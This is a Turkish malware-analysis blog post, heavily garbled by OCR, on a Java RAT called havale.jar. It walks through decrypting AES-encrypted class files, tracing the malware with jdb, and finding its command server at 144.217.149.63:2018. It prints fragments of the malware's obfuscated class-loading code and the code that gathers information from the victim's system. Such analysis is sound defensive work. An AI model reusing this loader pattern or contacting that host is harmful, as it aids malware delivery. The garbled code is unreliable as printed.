- private static ! [1> obfuscatedEntryList;
Search

Search from .AII_CIasses

public Header()

throws E
LoC -
1 {
Search String: super (Header.class.getClassLloader()
o Exact cbfuscatedEntrylist = )decryptObject ("#", new U " ='1"*’}-1:-‘=:l" g 31:li-—"=d" e
| Exac
7 [1 array0fString { "qua. rise €
Search strl = "qua rise.reagtor.reagtions. st

# Root atr2 = strl + '.' + predefinedClassNamesToBeLoaded[0];

localObjectl = null;

33[] array0fClass = new C
int i = 0O;
5 atr3;

s[array0fString.length];

for (str3 : array0OfString)

{

byte[] array0fByte = decrypt(str3, getEntryData(CAT bootstrap, str3)); -
4 [ 1 » :

Header.class dosyasinda ise bu defa AES ile sifrelenen



com/uncomeliness/cymas/Arryish.pre , com/uncomeliness/thirsted/Dang.dos ve
com/uncomeliness/thirsted/Rhizomorph.box dosyalarinin ¢oézilduguni gordim.

[Zf *new 2 - Notepad+=
File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7

cHHB: LA +tmD/ ety x| BEIETEEERAe® BEDBEB

rgpRDejgaw2.vbs 3 | BErnew 1 t:!l H debug_inteface py fﬂl H everts py t:!l Eiavaioumalpy & Enew2 B |

31 -
32 public Header ()

=5 throws Exception

S

35 super (Header.clas=.getClassLoader () ) ;

36 obfuscatedEntryList = (Map)decryptObject("#", Wew Object[] { { ".encrypted”, ".splitt ", ".compressed",

".not-fixed" }, { "com/uncomeliness/cymas/i I
"com/uncomeliness/thirstce zomorph.box™ }, { 5
37 String[] arrayOfString = { " .enterprise.reaqgto
"qua.enterprise.reagtor.re Wons.standartbootstrap. Lo

}, "tNlénalhgd6éa3vVxk"™ });
rtbootstrap.Loader™,

"gua.enterprise.reaqgtor.redgtions.standartbootstrap.Loader$l™ };
8 S5tring strl = "gua.enterprise.reagtor.reagtions.standartbootstran™:
39 String =str2 = strl + '.' + predefinedClassNamesToBeLoaded[C]:
40 Object localObjectl = null;
43 Clas=s[] array0fClass = new Class[array0fString.length]; =
42 int i = 0; 1
43 5tring str3;
44 for (str3 :@: array0fString) Anahtarl
45 [H {
46 byte[] arrayCfByte = decrypt(str3, getEntryData (CAT_ bootstr L4
47 Class localClass2 = array0fClass[(i++)] = defineClass(str3, N ¥ )fByte.length,
firstClassProtectionDomain) ;
g H if (=tr2.equals(=tr3)) {
49 localObjectl = localClass2;
50 - }
51 - }
52 = for (=2tr3 : array0fClass) {
53 resolveClass {str3);
54 L }
] ??? = (ClassLoader) ((Class)localCbjectl) .newlnstance() ;
56 Class localClassl = ((ClassLoader) ??7).loadClass("gt314.cl"™);
57 Method localMethod = localClassl.getMethod ("main", new Class[] { String[].class }}):
8 localMethod.invoke (null, new Cbject[] { new String[C] }):
59 Lo}
60
61 public static Object[] getEntryData(String paramStringl, String paramString2)
62 =
63 ﬁ] String str = paramStringl + '/' + paramString2; £
ca At e P e B O P 7 U QR © W Oy AT T o o foen
Java source file length: 5625 lines:126 Ln:20 Col:20 5el:0]0 Windows (CRLF)  UTF-8 INS

Bu U¢ dosyay1l da birlestirip sifresini c¢dzdikten sonra ortaya JAR dosyasi
icinde bulunan sifrelenmis 251 tane class dosyasi ve bunlarin AES sifreleme

anahtarlari ciktzi.



File Edit Disk Options Tools Plug-ns Window Help [=[&]x]

2EHa® | LHEAF |20 AEHS @ -5 | @ 0B
i z]imed 4 b o[ ]
S EERE : T R JEne Wi X
. Data at offset 19:
S| [looooooo0 ac ED 00 05 73 72 00 17 6A 61 76 61 2 .sr..java. sibililie s
2| |looooo014 74 69 6c 2E 4C 69 6E 6B 65 64 48 61 68 til.LinkedHash ines s =
€| |loooooo28 4p 61 70 34 cO 4E 5C 10 6C CO FB 02 0d! [MapArN sl i s
5||loo000042 52 00 0B 61 63 €3 65 73 73 4F 72 64 72 Z..accessOrder intl6 - 28265
"|[looo00056 78 72 00 11 6A 61 76 61 2E 75 74 69 & xrsh avasutils mnns: 25
00000070 48 61 73 68 4D 61 70 05 07 DA Cl1 C3 16 O HashMap...... ints? 1701539433
00000084 D1 03 00 02 46 00 OR 6C 6F 61 64 46 61 P SRR ] it
00000098 74 6F 72 49 00 09 74 68 72 65 73 68 6F 6C torI..threshol info ] 8314003983138...
00000112 64 78 70 3F 40 00 00 00 00 01 80 77 08 00 dxXp?@...... W. uintb4  8314005983138..
00000126 00 02 00 00 00 01 00 74 00 18 6F 62 66 75  .o..... b half float 6564, "
00000140 73 63 61 74 65 64 2F 71 74 33 31 34 2F 41 5cated/qt314/A =
00000154 2E 63 6C 61 73 73 75 72 00 13 5B 4C 6A 61 .classur..[Lja T e
00000168 76 61 2E 6C 61 GE 67 2E 4F 62 GA 65 63 74 wva.lang.Object [Signed 'H3Zhit ']
00000182 3B 90 CE 58 9F 10 73 29 6C 02 00 00 78 70 ;..X..s)l...xp 3
00000196 00 00 00 04 75 72 00 13 SB 4C 6A 61 76 61 ....ur..[Ljava
00000210 2E &C 61 6E 67 2E 53 74 72 69 6E 67 3B AD .lang.String:;.
nnannn22A o e &7 - o 1in 7D A7 n~7 NN nnNn 70 7N [a¥a nn bt e pr R B
B Anyish-Dan...| lEval H ‘
Ustuewres| @/ amfw a2 aln s B2 1T cmpare Resuts . JBIX
i g i
Member i) Value (dec) & Value (hex) #* Size fi3) Type Source iG] Count iG] Count [8) Target 0] Count [,
=
w < ] »
E =
g E |g‘gttjcrnpare mched<wm|ﬂ’ﬂFind|-€?Boohnarks| Output|
Ready Cursor: 55 Caret: 19 56792 bytes OVR MOD READ

File E Dlsk ptions Tools  Plug-Ins Wlndaw Hlp . i Iz‘
-§6E&ﬁ|-€%@@.§|9f i, P58 A% 0
AESile  (dlE—]

Sifre|enmi§ 12 13 0123456789ABCD
6‘3' 73 ed/Petites.nis

||!|Data Inspector g o« x

L =15 (B S b

s

g||looocoosso 65 64 2F 50 65
; 0000059594 74 00 22 B3 6F Dosya t."com/uncomel [ =
E|[looooi008 69 6E 65 73 73 iness/thirsted |
5||loo001022 2F 43 68 6F 62 /Chob.hedt.#co Anahtar 3
“||loooo1036 éD 2F 75 6E 63 6F 6D 65 6C 69 G6E 65 73 73 m/uncomeliness
00001050 2F 63 79 6D 61 73 2F 4D 61 75 76 65 74 74 /cymas/Mauvett
00001064 65 2E GA 65 74 75 71 00 7E 00 OE 00 00 00 e.jetug.-~ 825520689
00001078 04 00 00 06 99 00 00 05 30 00 00 05 20 00 | ........ 3 il 1861604818,
00001052 00 07 9% 74 00 10 2 g 5 4 T879673604818...
00001106 . 74 18 12680,
00001120 75 73 63 61 74 65 64 2F 71 74 33 31 34 2F uscated/qt314/ [Expression Calc T -]
00001134 45 [2E 63 6C 61 73 73|75 71 00 7E 00 04 00 E[classlug. [signed -| 32 bit ~]
00001148 00 00 04 75 71 00 7E 00 06 00 00 00 04 71  ...ug.~--....
00001162 00 7E 00 08 71 00 7E 00 0% 71 00 7E 00 OA .~..g.~..q |1
00001176 71 00 7E 00 OB 75 71 00 7E 00 06 00 00 00 Q.~..UQ-%.-...-
nNNnnn11aon negc 7A [a¥a b . [ ] AT &7 2@ T7C [~ nJ = | AT &TY [ + o S
NTyish-Dan...| . .
— Sifresi L
«| Structures :E , -|BiI v} ’ & | B G ‘w 251 instances of ".class' found in C:\Us gézi.“en
| Member fio) Value (dec) #* Value (hex) & Size o) H| Address fio] Length o] Length E Dosyanln Adl
00000154 3] 06
00000418 [ 06
00000578 [ 06
00000898 [ 06
g 00001135 B 06
2 nNNN1 A4 A 2
z ‘l—l
3 w
E E |%CompareL{Ched(sum ﬂ’ﬁFind @Bookmarks| -OL.ItDLIt|
Find All Complete. Cursor: 1007 Caret: 1098 Sel: 16 OVR MOD READ

Tdm bu class dosyalarinin sifresini ¢o6zlp incelemeden dnce Google’'da ve



Twitter’'da kaynak kodundan elde ettigim qt314 ve
qua.enterprise.reaqtor.reaqtions.standartbootstrap anahtar kelimeleri ile
ufak bir arastirma yaptigimda, Fortinet’in New jRAT/Adwind Variant Being
Spread With Package Delivery Scam ve Jeff ARCHER isimli glvenlik
arastirmacisinin Qrypter isimli su makalelerine denk geldim. Ozellikle Jeff
ARCHER'1n yayinladigi Qealler isimli son makalesini inceledigimde, havale.jar
isimli bu zararli yazilimin QUAverse Research and Development isimli Tlrk
oldugu distnilen bir grup tarafindan gelistirilen bir Java RAT oldugunu
ogrendim.

QUA is everywhere!

You will never forget the comfort of our service

©QuAverse Research & Development 2017 Powered by QUA'RAD.

Bu zararli yazilim tarafindan iletisim kurulan IP adresini tespit etmek icin
ise java.net.URI sinifini Java Journal araci ile dinamik olarak izlemeye
basladiktan kisa bir sire sonra iletisim kurulan IP adresini ve baglanti
noktasini (144.217.149.63:2018) tespit edebildim.


https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
https://twitter.com/jeFF0Falltrades
https://www.dropbox.com/s/ifkowqp6kpkph0g/Qrypter_Notes.pdf?dl=0
https://www.dropbox.com/s/v9rk1yktt52lclz/Qealler-Unloaded.pdf?dl=0

= B &%

o | B &

| £ CAProgramData\Oracle'Java\javapathijava.exe

Java.net.fibstractPlainSocketImpl.connectTofddress{Unknoun Source>
jaua.nat.nhstractPlainSncketlmpl.cnnnact(llnknm-m Source’
Jaua net.PlainSocketImpl.connect{Unknown Source)
.]aua net .SocksSocketImpl.connect{Unknoun Sourced L
.]aua net .Socket .connect(Unknown Sourcel =
.]aua net .Socket .connect(Unknown Sourcel
.]aua net .Socket . {init>{Unknown Source)
Java.net._.Socket . {init>{Unknoun Sourcel
qt314 cd.rundcd. javad

at java.lang.Thread.run{Unknown Source?

ljava.net. CunnectExcept on: Connection refused: connect

at Jaua net.DualStackPlainSocketInpl.connectB{Native Method)>
Jaua net .DualStackPlainSocketInpl.socketConnect{Unknown Sourcel
Java.net.AbstractPlainSocketImpl.doConnect{Unknoun Source
Java.net.fibstractPlainSocketImpl.connectTofddress{Unknoun Source>
Java.net.fihstractPlainSocketImpl.connect{Unknown Source)
Java.net.PlainSocketImpl.connect{Unknown Source)
Java.net.SocksSocketImpl.connect{Unknown Source’
.]'aua.net.Sncket.connect(Unknown Source £ .
java.net.Socket.connect{Unknoun Source> -getlongOperatingSystem()));
.]aua net .Socket . {init>{Unknown Source)
Java.net._.Socket . {init>{Unknoun Sourcel
gt3ld_cd.rundcd. java)
Java.lang.Thread.run{Unknown Source?

his) {

etCodeSource().getlacation().getPath(})));

S — B CAWindows\system32\cmd.exe [E=g =R )
try {
hostAddress = [LSaLL G \U..el-s\ﬂe}-t\De..ktup\ shavale?python javajournal.py
: —include java.net.URI —begin com.unconeliness.thirsted.Battakhin
i glep —E VCIB-2141,33N 0433 [8-2 141 . 33"
catch (Exception ex) { socket://144.217.149 .63:2018"
hostAddress = cd.z[3]; ~ "144.217.14%.63"
} ~ovi44.217. 149 6
= ter144.217 .1
a((u)new N(hostAddress));
a((u)new af(System.getPropert ack k t/r144.217.149 63:2018"
a((u)new v(Locale.getDefault( 14%43131;4342 63818
a((u)new aG(File.listRoots()) c /144.217.149 .6
a((u)new an((int)(((Operating: AA 144.217.14%.63" B "
a({u)new aD(Runtime.getRuntim sgch;44/£}$4iié7é%39.63-2318
a((u)new ai(GraphicsEnvironme " " "
a((u)new as());
a({u)new ak());
a((u)new aB());
a({u)new V());
}
nuhlic ctatic wnid a/final o ud S
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Sira son olarak bu IP adresinin hangi sinif dosyasi icerisinden ¢agrildigini
bulmaya geldiginde de, Java hata ayiklama araci olan jdb ile stepi ve dump
komutlarindan faydalanarak qt314.CY sinifina ulastim.



https://docs.oracle.com/javase/7/docs/technotes/tools/windows/jdb.html

Applications =
root@kali: ~/Desktop/malware
File Edit View Search Terminal Help

-classpath havale.jar com/uncomeliness/thirsted/Battakhin
Initializing jdb

= stop in qt314.cd.run

Deferring breakpoint gt314.cd. run.

It will be set after the class is loaded.

> run

run com/uncomeliness/thirsted/Battakhin

Set uncaught java.lang.Throwable

Set deferred uncaught java.lang.Throwable

VM Started: Set deferred breakpoint gt314.cd.run

Breakpoint hit: "thread=Thread-1", qt314.cd.run(), line=-1 bci=8

Thread-1[1] stepi

=

Step completed: "thread=Thread-1", qt314.cd.run(), line=-1 bci=3

Thread-1[1] stepi

=

Step completed: "thread=Thread-1", gt314.cd.run(), line=-1 bci=5

Thread-1[1] stepi

=

Step completed: "thread=Thread-1", gqt314.a.a(), line=-1 bci=0

Thread-1[1] step up

00

e -sourcepath sources



Applications - Places v [J Terminal Mon 14:52

root@Kkali: ~/Desktop/malware e ® 0
File Edit View Search Terminal Help

Thread-1[1] stepi

=

Step completed: "thread=Thread-

Thread-1[1] stepi

gtep completed: "thread=Thread-

Thread-1[1] stepi

gtep completed: "thread=Thread- 4.cd. =-1 bci=12
Thread-1[1] stepi

;tep completed: "thread=Thread-

Thread-1[1] stepi

Step completed: "thread=Thread- 4.cd. -1 bci=14

Thread-1[1] Thread-1[1] stepi

=

Step completed: "thread=Thread- 4.cY.al bci=0

Thread-1[1] dump a
a = "144.217.149.63"
Thread-1[1] |

Bu yazinin ileri seviye gizleme yontemi kullanan Java zararli yazilaimlarini
analiz etmek isteyen gilvenlik arastirmacilarina yol gOsterecegine inanarak

bir sonraki yazida gorusmek dilegiyle herkese givenli ginler dilerim.

Not:

Bu yazi ayrica Pi Hediyem Var #16 oyununun c¢O0zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-16/

